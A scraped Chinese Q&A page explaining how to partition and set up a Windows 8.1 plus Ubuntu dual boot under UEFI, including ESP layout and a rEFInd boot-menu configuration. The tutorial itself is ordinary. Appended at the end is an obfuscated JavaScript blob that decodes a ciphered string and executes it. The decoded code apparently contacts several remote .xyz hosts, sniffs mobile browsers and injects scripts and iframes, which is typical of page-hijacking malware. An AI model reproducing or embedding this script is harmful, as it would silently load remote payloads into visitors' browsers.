win8和ubuntu双系统,ubuntu如何分区
推荐回答(3个)
win8和ubuntu双系统适用于:
1、电脑主板支持UEFI启动的,希望使用UEFI快速启动,又希望使用多系统的。
2、已经预装了正版WIN8.1的系统的。
大体上讲讲,UEFI+GPT模式的启动原理,BIOS引导MBR分区的流程,BIOS开机自检——读取硬盘MBR分区的主引导记录——控制权交给引导程序——引导程序根据安装时候的配置读取各分区记录——根据各分区已经有的系统情况,列出启动目录——根据用户选择,启动选择的引导文件启动用户选择的系统。
现在说说UEFI的情况:主板上的UEFI模块——硬盘内的第一个fat分区,如果分区内有EFI这个文件目录,就根据EFI文件目录的引导文件加载各类型的驱动和引导文件,启动系统同时完成自检。
ESP分区下面的的文件结构:
1、UEFI环境安装好的win8后保存下来的ESP分区的目录表(ESP分区根目录下面是EFI,这个图示EFI文件夹里面的两个文件目录)。
2、Boot文件夹里面是一个名字叫做bootX64.efi的文件,这个文件UEFI引导的必须文件,而且必须是在ESP根目录Boot文件夹里面。
3、接下来再来看看Microsoft目录下面的文件结构。Mircrosoft目录下面也是一个Boot文件夹,点开这个/mircrosoft/boot文件夹,可以看到如下图所示的文件:
这个目录类容丰富,包含了windows系统引导启动的所有信息,非常重要,文件夹是字体和语言部分,BCD包含了windows引导开始以后的信息(例如安装Hyper-v虚拟机和恢复还原之类的就会更新里面的信息)。bootmgfw.efi 是 Windows默认引导文件
efi\boot\bootx64.efi
efi\microsoft\boot\bootmgfw.efi
对UEFI启动也差不多有个简单的理解了。现在开始回归这篇文章的主题,如何在UEFI环境下安装WIN8.1+Unbuntu。本着对新同学负责的原则,还是从最基本的UEFI安装WIN8.1说起。已经预装好UEFI启动Win8.1的朋友可以直接下跳到Ubuntu的安装。
(一)windows8.1的安装:
首先还是按老办法,先规划好磁盘分区在开始安装系统。首先用PE启动电脑
使用PE自带的DG分区软件对硬盘进行分区操作。
建立或者转换成GPT分区表,DG软件会提示是否建立ESP分区,勾选上,分区大小100~300随意(当然也可以自己建立一个fat或者fat32格式的分区作为启动分区),勾选对齐到4096(4k对齐,固态硬盘都懂得,不是固态也勾选吧)然后确定。
先建立一个NTFS分区安装Windows,接下来按部就班的建立Linux分区以及交换空间
多了两个小黑头,这两个小黑头就是ESP启动分区和MSR保留分区。特别说明的是ESP分区只是一个FAT或者fat32格式分区,可以再分区表的任意位置,名字大小随意(100~3、500)都行,但是它对于UEFI系统的启动必不可少。
国际惯例还是重安装Win8.1开始,依旧选在原版镜像的U盘或者光盘安装。开机按Del,根据主板的不同开始UEFI模式(固态硬盘的同学AHCI记得开启来),保存然后重启。插入U盘或者光盘,开机按F11(或者其他根据主板不同而异)选择前面带UEFI_字样的启动选项。
安装没什么好说的愉快的一路NEXT。直到选择自定义安装。
Win安装程序读出了刚才分好的4个分区,选择30G的刚才规划的要安装Win8的分区,NEXT,又是愉快的等待,然后简单的设置,再次愉快的等待,差不多半小时到40分钟,Windows就算安装好了。
这样就算是在UEFI模式下装好了WIN8.1,打开磁盘管理,可以看到windows只读取了硬盘上的4个分区,并没有读取ESP分区,所以UEFI模式相对于BIOS模式是要安全很多,不会受到诸如以前恐怖的CIH病毒侵害的。
接下来,先不忙安装Ubuntu ,继续用PE启动电脑,来看看这个硬盘的ESP启动分区的情况(当然可以用windows自带的Diskpart命令来查看,并挂载,这里主要是面对新手朋友,所以还是图形见面直观大方)。
接下来,先不忙安装,先来看看的虚拟机,点开虚拟机设置-》固件,
可以看到UEFI模式安装好的win8.1在安装过程中自动的为UEFI控制添加了从文件Bootmgrfw.efi 启动。这个反映在实体机器上就是,在UEFI模式下安装好WIN8.1的时候,按住启动选择,就只有Windows Boot Manager和插入的其他启动设备选项了。如果没有其他设备,UEFI会快速的找到Bootmgrfw.efi启动windows。不会再出现原来按F11时候的选择,什么从光驱启动,从硬盘启动的选项了。更不会再找到Bootmgrfw.efi启动windows的情况下,继续去找Grub或者是其他什么传统启动助手软件,然后再通过软件,根据硬盘分区的启动信息,启动多系统选择。(另外,还需要说明的一点事,在GPT分区表上是不存在激活的当前分区这种说法的,因为UEFI启动系统只是找第一个FAT(fat32)分区,在分区中找到EFI文件夹和里面的启动信息就停止了,如果没找到继续找第二个FAT分区,当前设备没有就换下一个设备,以此类推)
说了这么多大概很多在UEFI模式下安装了Windows再安装Ubuntu系统的朋友会多少明白一点,为什么装好双系统,第一次进入了Grub,可以看到多重引导,但是一旦选择进入了Windows8.1,接下来,再重新启动就会直接进入Windows,不会再去启动Grub了吧。
再一次用PE启动电脑,现在读取到了ESP启动分区,即标示的F盘(这个盘符是PE启动系统随机分配的)
打开这个F盘,看看里面的结构式是不是
/efi/boot/bootX64.efi
/efi/mircosoft/boot/ bootmgfw.efi
这样的文件结构吧。
这样就算不仅仅在UEFI模式下安装好了Win8.1,并且还大体明白了,Win8.1在UEFI模式下是怎么启动电脑的。接下来就是在UEFI模式安装Ubuntu了。
(二)UEFI模式安装Ubuntu
Unbuntu14.04的发行版ISO,已经支持UEFI模式安装了,所以,还是选择最简单的办法就是写到U盘或者是光盘安装,启动的时候照例选择有UEFI_前缀字样的启动项。因为安装过程跟上一篇BIOS+MBR的安装差不多,相同的地方就不一一详细介绍了,只是针对不同的地方。
开始一路NEXT,到选择安装的时候仍然选择其他选项(这个很重要,建议以后折腾电脑的时候,均采取自定义,这样才明白程序会对自己的电脑做些什么,做了些什么)。
接下来出现在上一篇安装里面说得比较详细的自定义安装界面,分区安排还是跟BIOS安装的时候差不多,只是多了两个分区而已(编号方法仍旧是/dev/sda12345)
值得注意的是,现在在选安装启动器的设备位置时,选择/dev/sda1 不要遗漏数字1,这样就是把Ubuntu的EFI启动信息安装到ESP启动分区上了,而且,Ubuntu很聪明小心谨慎,只是添加,不会去动微软大爷的原来的。
接下来又是愉快的NEXT,NEXT。。。大概20~30分钟的愉快等待,机器重启,进入熟悉的Grub界面,UEFI的双系统安装就算完成了!
当然到这里大多数的朋友都会遇到,用Grub启动到Ubuntu,愉快的玩耍了几下,然后再回到Windows再次愉快的LOL了两把或是其他神马,然后又想起了,去Ubuntu看看,结果再次启动电脑的时候,直接就近Windows了,微软大爷就是这么霸气。等下再来说怎么解决这个问题,现在还在等虚拟机装好Ubuntu。
同样,先不忙配置双启动,先再来看看装好双系统的的情况下的ESP启动分区的情况,启动装好的Ubuntu,打开文件管理器,点击计算机,进入/BOOT目录(ESP启动分区的EFI文件夹是默认挂载到这个目录的)打开EFI文件夹
看到没有,ESP分区根目录下面是不是比刚才装好WIN8.1的时候多了一个Ubuntu文件夹。
(三)配置refind完成UEFI下的双系统启动
大概是由于微软大爷的霸气,UEFI双系统做好以后,进入了Win8.1就再也无法看见,引导Grub的界面了。好了现在接下来说说如何解决UEFI模式下,可以愉快的启动切换Win或者Ubuntu,可以采取用其他管理引导的方式,例如,Clover和refind,因为Clover是在OSX下配置引导安装的,就选择refind(这个可以到官网直接下载,目前的最新版本是0.83版实际上刚才有吧友在回复中提到了,可以使用refind)。那么就来说说怎么使用refind配置双系统吧。首先下载refind包,解压后得到一个文件夹。
现在,需要用PE启动电脑(当然也可以直接使用Diskpart挂载ESP分区,为了方便新同学,直观的了解就直接使用PE了)打开安装好的双硬盘的ESP分区,首先完整备份EFI文件夹及文件夹里面的所有内容到一个认为安全的地方然后打开EFI文件夹,现在看到的结构内容是
/efi/boot
/efi/Microsoft
/efi/Unbuntu
现在,打开下载并解压好的refind-bin-0.83文件夹,选中其中的叫refind的文件夹,全部复制到ESP分区的根目录下面,下面是复制好的,ESP文件结构,如下图所示:
/efi/boot
/efi/Microsoft
/efi/Unbuntu
/efi/refind
现在,可以开始配置refind了,首先选择,Microsoft文件夹,随便改个名字,叫做Win81,然后把refind文件夹改名字为Microsoft,改好后的文件结构为:
/efi/boot
/efi/Microsoft
/efi/Unbuntu
/efi/Win81
现在进入win81文件夹,进入里面的Boot目录,全选所有的文件,拷贝到Win81中来,然后再删除掉Win81中的这个空的Boot目录。现在Win81的目录结构大体上就是
/efi/Win81/bootmgfw.efi(等等文件和语言文件夹)。
然后在进入那个假的Microsoft文件夹(实际上是refind目录更改而来的),新建一个Boot文件夹,剪切原来该文件中的类容,到新建的这个Boot目录中来。完成后这个伪装的Mircosoft文件夹的结构为:
/efi/Mircosoft/boot/refind_x64.efi等文件及一些文件夹
选中其中的refind_x64.efi,文件更改名字为bootmgfw.efi,得到这里为止,大体工作就完成了,剩下来的就是改变配置菜单。这个等下再说,为了确保不出错,现在来看看修改好的ESP分区里面的文件结构:
/efi/Boot
/efi/Microsoft/boot
/efi/Win81
/efi/Ubuntu
确保文件结构如上面所示,并且在假Microsoft文件夹的Boot目录下面的refind_x64.efi已经更名为bootmgfw.efi。
现在剩下最后一步工作写refind的配置文件了,实际上下载的软件包里面,已经有写好的模板了(即名为refind.conf-sample),只需要更改其中的类容就可以安全的愉快的启动双系统了。
废话不多说,进入/efi/Mircosoft/bott目录,打开其中的refind.conf-sample文件,然后另存为refind.conf 。(打开方式可以选择写字板,这样可以看到清晰的分行和格式)
这是一个脚本文件,“# ”后的类容表示注释,仔细浏览这个文件找到下面这段:
这是一个refind为写好的定义的启动菜单脚本,启动菜单叫Ubuntu ,使用的启动文件为/efi/ubuntu/Grubx64.efi,另外加载的图标是icon/efi/refind/icons/os_linux.png
现在按照菜单指示的路径打开,发现Grubx64.efi,确实存在于的目录里面保持不变,
但是图标路径发生了变化,这个原来写好的refind目录已经变为Microsoft/boot了,所以更改下这个菜单图标路径为 /efi/Microsoft/boot/icons/os_Ubuntu.png (其实icons目录下面已经有了Linux各种发行版的图标了,所以直接改成了Ubuntu的)
改好的Ubuntu菜单脚本:
menuentry Ubuntu {
loader/EFI/ubuntu/grubx64.efi
icon/EFI/Microsoft/Boot/icons/os_ubuntu.png
disabled
}
然后再继续找到下面字段,也就是WINDOWS的菜单脚本
这段代码写的win7 ,可以更改为Win8.1,按照自己的ESP分区的目录结构,修改好windows菜单脚本,修改好的菜单脚本如下:
menuentry "Windows 8.1" {
loader\EFI\Win81\bootmgfw.efi
icon/EFI/Microsoft/Boot/icons/os_win.png ///这里添加了图标路径
disabled
}
这样就弄好了双系统的引导菜单,但是refind的功能远不止于此,实际模板提供了包括OSX在内的菜单引导脚本,由于电脑上只有Win8.1和Ubuntu,那么就把其他模板禁用了以保证启动菜单清清爽爽(直接在不需要的菜单引导脚本前面加上“#”就可以了)
好了,保存退出。
1.将iso里面的wubi 拖出来 用它安装 卸载在添加、删除中卸载这个程序、
答:删除了 载入不到安装界面 没有系统镜像。
手动分区的话最基本的分区
/boot 200M 启动分区
/ 10G+ 根目录
swap 交换分区 内存的1.5-2倍
随便咋个分都可以,只是LINUX的分区格式与WIN不一样,所以在分区前,你要将已有的分区删除用来安装LINUX,在安装LINUX的时候,再通过安装程序进行分区。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();